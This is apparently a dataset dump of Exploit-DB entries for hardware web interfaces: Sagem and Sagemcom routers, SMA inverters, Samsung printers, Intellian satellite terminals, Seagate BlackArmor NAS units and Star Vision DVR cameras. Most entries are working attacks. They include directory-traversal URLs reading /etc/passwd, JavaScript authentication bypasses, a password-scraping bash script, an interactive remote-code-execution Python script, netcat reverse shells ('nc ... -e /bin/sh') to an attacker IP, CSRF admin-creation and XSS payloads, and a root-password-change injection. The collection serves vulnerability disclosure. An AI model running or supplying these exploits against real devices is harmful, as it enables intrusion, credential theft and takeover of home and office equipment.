deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36241
Description: Sagem F@st 3304-V2 - Local File Inclusion
Type: webapps
Platform: hardware
Date: 2015-03-03
Author: Loudiyi Mohamed

Exploit:
# Title              : Sagem F@st 3304-V2 Directory Traversal Vulnerability
# Vendor             : http://www.sagemcom.com
# Severity           : High
# Tested Router      : Sagem F@st 3304-V2 (3304, other versions may also be affected)
# Date               : 2015-03-01
# Author             : Loudiyi Mohamed
# Contact            : Loudiyi.2010@gmail.com
# Blog               : https://www.linkedin.com/pub/mohamed-loudiyi/86/81b/603
 
# Vulnerability description:
Sagem Fast is an ADSL Router using a web management interface in order to change configuration
settings. The router is Sagem Fast is an ADSL Router using a web management interface in order
to change configuration settings. 
The web server of the router is vulnerable to directory traversal which allows reading files 
by sending encoded '../' requests.

The vulnerability may be tested with the following command-line:
curl -v4 http://192.168.1.1//../../../../../../../../../../etc/passwd
Or directly from navigateur:
http://192.168.1.1/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
http://192.168.1.1/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fnet%2farp
Exploit-DB #32859
Description: Sagem Fast 3304-V2 - Authentication Bypass (1)
Type: webapps
Platform: hardware
Date: 2014-04-14
Author: Yassin Aboukir

Exploit:
# Title              : Sagem F@st 3304-V2 Authentication Bypass
# Vendor             : http://www.sagemcom.com
# Severity           : High
# Tested on          : Firefox, Google Chrome, Internet Explorer
# Tested Router      : Sagem F@st 3304-V2 (3304, 3464, 3504 may also be affected)
# Date               : 2014-09-04
# Author             : Yassine Aboukir
# Contact            : Yaaboukir@gmail.com
# Blog               : http://linkedin.com/pub/yassine-aboukir/43/900/1b3
-----------

# Vulnerability description: : Sagem Fast is an ADSL Router using a web management interface in order to change configuration settings. The router is vulnerable to an authentification bypass bug which allows unprivileged users to modify the preconfigured root password then log in with administrator permissions. 
The default URL to access to the web management interface is http://192.168.1.1 but this attack can also be performed by an axternal attacker who connects to the router's public IP address.

# Exploit :
The vulnerability can be exploited by running javascript code in the web browser bar which allows to access password change page without having permession to do so.
--- Using Chrome, Internet Explorer browser :
You first need to access the router login page http://192.168.1.1/(without loging in) 
Then execute the following javascript in the URL bar : javascript:mimic_button('goto: 9096..')

--- Using Firefox : 
Because running javascript in the url bar has been disabled in Mozilla Firefox, we will try another way :
You first need to access the router login page http://192.168.1.1/(without loging in) 

1st Method : 
You have to bookmark the javascript: link before it can be executed.
---- Show all Bookmarks (Ctrl+Shift+B)
---- Select folder (e.g. Bookmarks Toolbar)
---- Click Organize-> New bookmark .. and enter javascript:mimic_button('goto: 9096..') in the address field.

2nd Method :
The web console tool (CTRL + SHIFT + K), in which you can interpret javascript expressions in real time using the command line provided by the Web Console.
Exploit-DB #38553
Description: Sagem FAST3304-V2 - Authentication Bypass (2)
Type: webapps
Platform: hardware
Date: 2015-10-28
Author: Soufiane Alami Hassani

Exploit:
================================================================================
____ _    _    ____ _  _    ____ _  _ ___  ____ ____ 
|__| |    |    |__| |__|    |__| |_/  |__] |__| |__/ 
|  | |___ |___ |  | |  |    |  | | \_ |__] |  | |  \ 
                                                      
================================================================================


######################################################
# Exploit Title: Sagem javascript injection 
# Date: 27/10/15
# Exploit Author: Soufiane Alami Hassani
# Version: FAST3304-V2
# Tested on: [Windows 8.1 Pro]
# Category : webapps
# Facebook : soufiane.a.hassani
# Email    : nios1515@gmail.com
######################################################


###########################
#By Soufiane Alami Hassani#
###########################

Vulnerability Description : You can change the password of your router even if you have not the access.

Exploit : In Bar address copy and paste : "javascript:mimic_button('goto: 9096..')" the router redirect you to another page to change the password .

########################
Moroccan Are The Best .
########################


mimic_button('goto: 9096..')
Exploit-DB #37801
Description: Sagemcom F@ST 3864 V2 - Get Admin Password
Type: webapps
Platform: hardware
Date: 2015-08-17
Author: Cade Bull

Exploit:
#!/bin/bash
#########################################
# Exploit Title: Sagemcom 3864 V2 get admin password
# Date 2015-08-15
# Author: Cade Bull
# Software Link: null
# Tested on: Sagemcom F@ST 3864 V2
# Version: 7.253.2_F3864V2_Optus
#########################################

# The sagemcom modem does not authenticate users when requesting pages, only whilst posting forms
# the password.html page loads the admin password in clear text and stores it in Javascript, which is viewable without any credentials
 
if [ "$1" != "" ]
then
	IP_ADDRESS="$1"
else
	echo "Usage : $0 IP_ADDRESS"
	exit 1
fi
 
USER_PASSWORD=`wget http://$IP_ADDRESS/password.html -t 1 -q -O -  | grep "pwdAdmin" | tr " = " "\n" | grep "'" | tr -d "';" `
echo "admin password = $USER_PASSWORD"
Exploit-DB #46667
Description: SaLICru -SLC-20-cube3(5) - HTML Injection
Type: webapps
Platform: hardware
Date: 2019-04-08
Author: Ramikan

Exploit:
# Exploit Title: Reflected HTML Injection
# Google Dork: None
# Date: 16/12/2015
# Exploit Author: Ramikan
# Vendor Homepage:https://www.salicru.com/en/
# Software Link: N/A
# Version: Tested on SaLICru -SLC-20-cube3(5).
# Firmware: cs121-SNMP v4.54.82.130611
# CVE : CVE-2019-10887
# Category:Web Apps


Vulnerability: Reflected HTML Injection
Vendor Web site: 
Version tested:cs121-SNMP v4.54.82.130611 
Solution: N/A
Note:Default credential:admin/admin or admin/cs121-snmp
Victim need to be authenticated in order to get affected by this.


Vulnerability 1:Refelected HTML Injection

Affected URL:

/DataLog.csv?log=
/AlarmLog.csv?log=
/waitlog.cgi?name=
/chart.shtml?data=
/createlog.cgi?name=

Affected Parameter: log, name, data

Payload: <h1>HTML Injection</h1>
Exploit-DB #50860
Description: SAM SUNNY TRIPOWER 5.0 - Insecure Direct Object Reference (IDOR)
Type: webapps
Platform: hardware
Date: 2022-04-11
Author: Momen Eldawakhly

Exploit:
# Exploit Title: SAM SUNNY TRIPOWER 5.0 - Insecure Direct Object Reference (IDOR)
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://www.sma.de
# Version: SUNNY TRIPOWER 5.0 Firmware version 3.10.16.R
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46416

# Proof of Concept

============[ Normal user request ]============

GET / HTTP/1.1
Host: 192.168.1.4
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: tmhDynamicLocale.locale=%22en-us%22; user443=%7B%22role%22%3A%7B%22bitMask%22%3A2%2C%22title%22%3A%22usr%22%2C%22loginLevel%22%3A2%7D%2C%22username%22%3A861%2C%22sid%22%3A%22CDQMoPK0y6Q0-NaD%22%7D
Upgrade-Insecure-Requests: 1

============[ Manipulated username request ]============

GET / HTTP/1.1
Host: 192.168.1.4
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: tmhDynamicLocale.locale=%22en-us%22; user443=%7B%22role%22%3A%7B%22bitMask%22%3A2%2C%22title%22%3A%22usr%22%2C%22loginLevel%22%3A2%7D%2C%22username%22%3A850%2C%22sid%22%3A%22CDQMoPK0y6Q0-NaD%22%7D
Upgrade-Insecure-Requests: 1
Exploit-DB #38004
Description: Samsung SyncThruWeb 2.01.00.26 - SMB Hash Disclosure
Type: webapps
Platform: hardware
Date: 2015-08-29
Author: Shad Malloy

Exploit:
# Exploit Title: Samsung SyncThruWeb SMB Hash Disclosure

# Date: 8/28/15

# Exploit Author: Shad Malloy

# Contact: http://twitter.com/SecureNM

# Website: https://securenetworkmanagement.com

# Vendor Homepage: http://www.samsung.com 

# Software Link:
http://www.samsung.com/hk_en/consumer/solutions/type/SyncThruWebService.html

# Version: Known Vulnerable versions   Samsung SCX-5835_5935 Series Printer
Main Firmware Version : 2.01.00.26  

Samsung SCX-5635 Series Printer Main Firmware Version : 2.01.01.18
12-08-2009 

 

# Tested on: 

  Samsung SCX-5835_5935 Series Printer

                Main Firmware Version :  2.01.00.26  

                Network Firmware Version :  V4.01.05(SCX-5835/5935)
12-22-2008  

                Engine Firmware Version :  1.20.73  

                UI Firmware Version :  V1.03.01.55 07-13-2009  

                Finisher Firmware Version :  Not Installed  

                PCL5E Firmware Version : PCL5e 5.87 11-07-2008  

                 PCL6 Firmware Version : PCL6 5.86 10-28-2008  

                PostScript Firmware Version : PS3 V1.93.06 12-19-2008  

                SPL Firmware Version : SPL 5.32 01-03-2008  

                TIFF Firmware Version : TIFF 0.91.00 10-07-2008

Samsung SCX-5635 Series

                   Main Firmware Version :           2.01.01.18 12-08-2009 

                Network Firmware Version :       V4.01.16(SCX-5635)
12-04-2009 

                Engine Firmware Version :           1.31.32 

                PCL5E Firmware Version :             PCL5e 5.92 02-12-2009


                PCL6 Firmware Version :               PCL6 5.93 03-21-2009


                PostScript Firmware Version :    PS3 1.94.06 12-22-2008 

                TIFF Firmware Version : TIFF 0.91.00 10-07-2008

 

Proof of Concept

1.            Using the default username and password (admin/admin), it is
possible to obtain all credentials used for SMB file transfer. To obtain the
file access http://<printer url>/smb_serverList.csv.

2.            The UserName and UserPassword fields are unencrypted and
visible using any text editor.

 

Relevant Patches

http://downloadcenter.samsung.com/content/FM/201508/[PII_REDACTED]1208555/SCX563
5_V2.01.01.28_0401113_1.00.zip

http://downloadcenter.samsung.com/content/FM/201508/[PII_REDACTED]2233867/SCX583
5_5935_V2.01.00.56_0401113_1.01.zip

 

Shad Malloy

Secure Network Management, LLC
Exploit-DB #47976
Description: Satellian 1.12 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2020-01-29
Author: Xh4H

Exploit:
# Exploit Title: Satellian 1.12 - Remote Code Execution
# Date: 2020-01-28
# Exploit Author: Xh4H
# Vendor Homepage: https://www.intelliantech.com/?lang=en
# Version: v1.12+
# Tested on: Kali linux, MacOS
# CVE : CVE-2020-7980

# Github repository: https://github.com/Xh4H/Satellian-CVE-2020-7980

# xh4h@Macbook-xh4h ~/Satellian> python satellian.py -u http://<redacted>
#                   ________________________________________
#         (__)    /                                        \
#         (oo)   (     Intellian Satellite Terminal PoC     )
#   /-------\/ --' \________________________________________/ 
#  / |     ||
# *  ||----||             

# Performing initial scan. Listing available system binaries.
# Starting request to http://<redacted>
# Executing command /bin/ls /bin
# acu_server
# acu_tool
# addgroup
# adduser
# ...

# Satellian $ id
# uid=0(root) gid=0(root)

import requests
import argparse
import sys
import calendar
import time
from termcolor import colored

def cprint(text, color): # colored print
	sys.stdout.write(colored(text + "\n", color, attrs=["bold"]))

def httpize(url):
	if not url.startswith("http"):
		cprint("Missing protocol, using http . . .", "yellow")
		url = "http://" + url
	return url

def send_command(url, command, verbose):
	RCE = {"O_":"A","V_":1,"S_":123456789,"F_":"EXEC_CMD","P1_":{"F":"EXEC_CMD","Q":command}}
	string_to_split = '''"SUCCESS_"
},'''

	if verbose:
		cprint("Starting request to %s" % url, "yellow")
		cprint("Executing command %s" % command, "yellow")

	a = requests.post(url + '/cgi-bin/libagent.cgi?type=J&' + str(calendar.timegm(time.gmtime())) + '000', json=RCE, cookies={'ctr_t': '0', 'sid': '123456789'})
	command_output = a.content[a.content.find(string_to_split):-2].replace(string_to_split, '')

	if len(command_output) < 4 and verbose:
		cprint("Target doesn't seem to be vulnerable\nExiting.", 'red')
		sys.exit()
	print command_output

cprint("""
                  ________________________________________
         (__)    /                                        \\
         (oo)   (     Intellian Satellite Terminal PoC     )
  /-------\\/ --' \\________________________________________/ 
 / |     ||
*  ||----||             
""", "green")

parser = argparse.ArgumentParser(description="Satellian: A PoC script for CVE-2020-7980")
parser.add_argument("-u", "--url", help="Base url")
args = parser.parse_args()

if args.url is None:
	cprint("Missing arguments.\nUsage example:\n" + sys.argv[0] + " -u http://10.10.10.14\n", "red")
	sys.exit()

url = httpize(args.url)

def main():
	cprint("Performing initial scan. Listing available system binaries.", "green")
	send_command(url, '/bin/ls /bin', True)

	while True:
		command = raw_input('Satellian $ ')
		send_command(url, command, False)

if __name__ == '__main__':
	try:
		main()
	except Exception as e:
		print e
		print "\nAn error happened."
Exploit-DB #33159
Description: Seagate BlackArmor NAS - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2014-05-03
Author: Shayan S

Exploit:
# Exploit Title: Seagate BlackArmor NAS Multiple Vulnerabilities
# Date: 2/17/14
# Exploit Author: Shayan Sadigh (twitter.com/r1pplex) | <ienjoy.ripples@gmail.com>
# Vendor Homepage: http://www.seagate.com/external-hard-drives/network-storage/
# Version: All BlackArmor NAS devices..
# Tested on: Linux
# CVE : N/A

1. some sort of backdoor user (hardcoded credentials) in backupmgt/pre_connect_check.php

$password = '!~@#$EW#$$%FREDESWWSED';

/////////////////////////////////////////////////////////////////////////////////////////////////////////

2. remote [root] code execution, this software is riddled with many many bugs, including tons of rce..

examples: localhost/backupmgt/localJob.php

Vulnerable code:

$session = $_GET["session"];
$tempsrc = exec("cat $immedLog | grep $session | cut -d '".Chr(002)."' -f 3");
$des = exec("cat $immedLog | grep $session | cut -d '".Chr(002)."' -f 4");

PoC:  curl "localhost/backupmgt/localJob.php?session=fail;nc -e 127.0.0.1 99;"
-------------------------
listening on [any] 99 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 57157
id
uid=0(root) gid=0(root)

another example: localhost/backupmgmt/pre_connect_check.php

Vulnerable code:

$ipString = $_GET["server_ip"];
$auth_name = $_GET["auth_name"];
$password = $_GET["auth_pass"];
$alias_name = $_GET["alias_name"];
$dryString ="rsync -rnP --password-file=temp.pas"." --log-file=pre.log --contimeout=5 /usr/sbin ".$auth_name."@".$ipString."::".$alias_name;
$result =@exec ($dryString);	 // produce temp pre log

PoC:  curl "localhost/backupmgt/pre_connect_check.php?auth_name=fail;nc -e 127.0.0.1 99;"
-------------------------
listening on [any] 99 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 52348
id
uid=0(root) gid=0(root)

There's ton of more bugs in BlackArmor NAS software, there have been other releases noting other bugs (killProcesses.php RCE), Seagate has decided to ignore any messages regarding these..claiming they are only working on newer products now.
Exploit-DB #50132
Description: Seagate BlackArmor NAS sg2000-2000.1331 - Command Injection
Type: webapps
Platform: hardware
Date: 2021-07-16
Author: Metin Yunus Kandemir

Exploit:
# Exploit Title: Seagate BlackArmor NAS sg2000-2000.1331 - Command Injection
# Date: 15.07.2021
# Discovered by: Jeroen - IT Nerdbox
# Exploit Author: Metin Yunus Kandemir
# Version: sg2000-2000.1331
# Vendor Homepage: https://www.seagate.com/
# Software Link: https://www.seagate.com/tr/tr/support/downloads/item/banas-220-firmware-master-dl/

#!/usr/bin/python3

import requests
import sys

def exec(target, ncIp, ncPort):
    print("[!] Please check netcat listener: "+ ncPort)
    url = "http://" + target + "/backupmgt/localJob.php?session=fail;nc+"+ncIp+"+"+ncPort+"+-e+/bin/sh%00"
    r = requests.get(url = url)
    sys.exit(1)

def main(args):
    if len(args) != 4:
        print("[*] usage: %s targetIp:port ncIp ncPort" % (args[0]))
        print("[*] Example:python3 exploit.py 192.168.1.13 192.168.1.22 80")
        sys.exit(1)
    exec(target=args[1], ncIp=args[2], ncPort=args[3])


if __name__ == "__main__":
    main(args=sys.argv)
Exploit-DB #30726
Description: Seagate BlackArmor NAS sg2000-2000.1331 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2014-01-06
Author: Jeroen - IT Nerdbox

Exploit:
# Exploit Title: Seagate BlackArmor NAS - Cross Site Request Forgery

# Google Dork: N/A

# Date: 04-01-2014

# Exploit Author: Jeroen - IT Nerdbox

# Vendor Homepage: http://www.seagate.com/

# Software Link:
http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/

# Version: sg2000-2000.1331

# Tested on: N/A

# CVE : CVE-2013-6922

#

## Description:

#

# There are multiple CSRF attacks possible, the proof of concept shows how
it is possible to add

# a user with administrative privileges to the system.
#
# It is also possible to:

# 

# 1. Factory reset the device

# 2. Reboot the device

# 3. Add/Edit/Remove users
# 4. Add/Edit/Remove shares and volumes

#
# This vulnerability was reported to Seagate in September 2013, they stated
that this will not be fixed. 

#

## Proof of Concept:

# 

# POST: http(s)://<url |
ip>/admin/access_control_user_add.php?lang=en&gi=a001&fbt=23
# Parameters:

#

# username attacker
# adminright yes
# fullname hacker
# userpasswd attackers_password
# userpasswdcheck attackers_password
Exploit-DB #30727
Description: Seagate BlackArmor NAS sg2000-2000.1331 - Multiple Persistent Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: hardware
Date: 2014-01-06
Author: Jeroen - IT Nerdbox

Exploit:
# Exploit Title: Seagate BlackArmor NAS - Multiple Persistent Cross Site
Scripting Vulnerabilities

# Google Dork: N/A

# Date: 04-01-2014

# Exploit Author: Jeroen - IT Nerdbox

# Vendor Homepage:  <http://www.seagate.com/> http://www.seagate.com/

# Software Link:
<http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/
>
http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/

# Version: sg2000-2000.1331

# Tested on: N/A

# CVE : CVE-2013-6923

#

## Description:

#

# When adding a user to the device, it is possible to enter a full name.
This input field does not

# sanitize its input and it is possible to enter any payload which will get
executed upon reload.

#

# The workgroup configuration is also vulnerable to persistent XSS. The Work
Group name input 
# field does not sanitize its input.

#
# This vulnerability was reported to Seagate in September 2013, they stated
that this will not be fixed. 

#

## Proof of Concept #1:

# 

# POST: http(s)://<url | ip>/admin/access_control_user_edit.php?id=2&lang=en
# Parameters:

#

# index = 2
# fullname = <script>alert(1);</script>
# submit = Submit

# 

#

## Proof of Concept #2:

#

# POST: http(s)://<url |
ip>/admin/network_workgroup_domain.php?lang=en&gi=n003

# Parameter:

#

# workname = "><input onmouseover=prompt(1) >
Exploit-DB #30725
Description: Seagate BlackArmor NAS sg2000-2000.1331 - Remote Command Execution
Type: webapps
Platform: hardware
Date: 2014-01-06
Author: Jeroen - IT Nerdbox

Exploit:
# Exploit Title: Seagate BlackArmor NAS - Remote Command Execution

# Google Dork: N/A

# Date: 04-01-2014

# Exploit Author: Jeroen - IT Nerdbox

# Vendor Homepage:  <http://www.seagate.com/> http://www.seagate.com/

# Software Link:
<http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/
>
http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/

# Version: sg2000-2000.1331

# Tested on: N/A

# CVE : CVE-2013-6924

#

## Description:

#

# The file getAlias.php located in /backupmgt has the following lines:

#

# $ipAddress = $_GET["ip";

# if ($ipAddress != "") {

#    exec("grep -I $ipAddress $immedLogFile > aliasHistory.txt");

#    ..

#    ..

# }

#

# The GET parameter can easily be manipulated to execute commands on the
BlackArmor system.

#

## Proof of Concept:

#

# http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; <your
command here>;

#

## Example to change the root password to 'mypassword':

#

# http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; echo
'mypassword' | passwd --stdin;
Exploit-DB #37778
Description: Security IP Camera Star Vision DVR - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2015-08-15
Author: Meisam Monsef

Exploit:
# Exploit Title: Security IP Camera Star Vision DVR Authentication Bypass
# Date: 2015-08-13
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: #
# Version: All Versions

Exploit :
1 - First, open your Chrome browser
2 - Enter the IP address or domain to see the login screen of the camera
3 - Press the F12 key to open the browser console
4 - Click the Console tab and enter the following code
login_set(1,1,1,1);
5 - Now go to page view2.html
6 - enjoy seeing camera :)

Test : http://m.2.is/

Video Tutorial : http://s3.picofile.com/file/[PII_REDACTED]/cam.mp4.html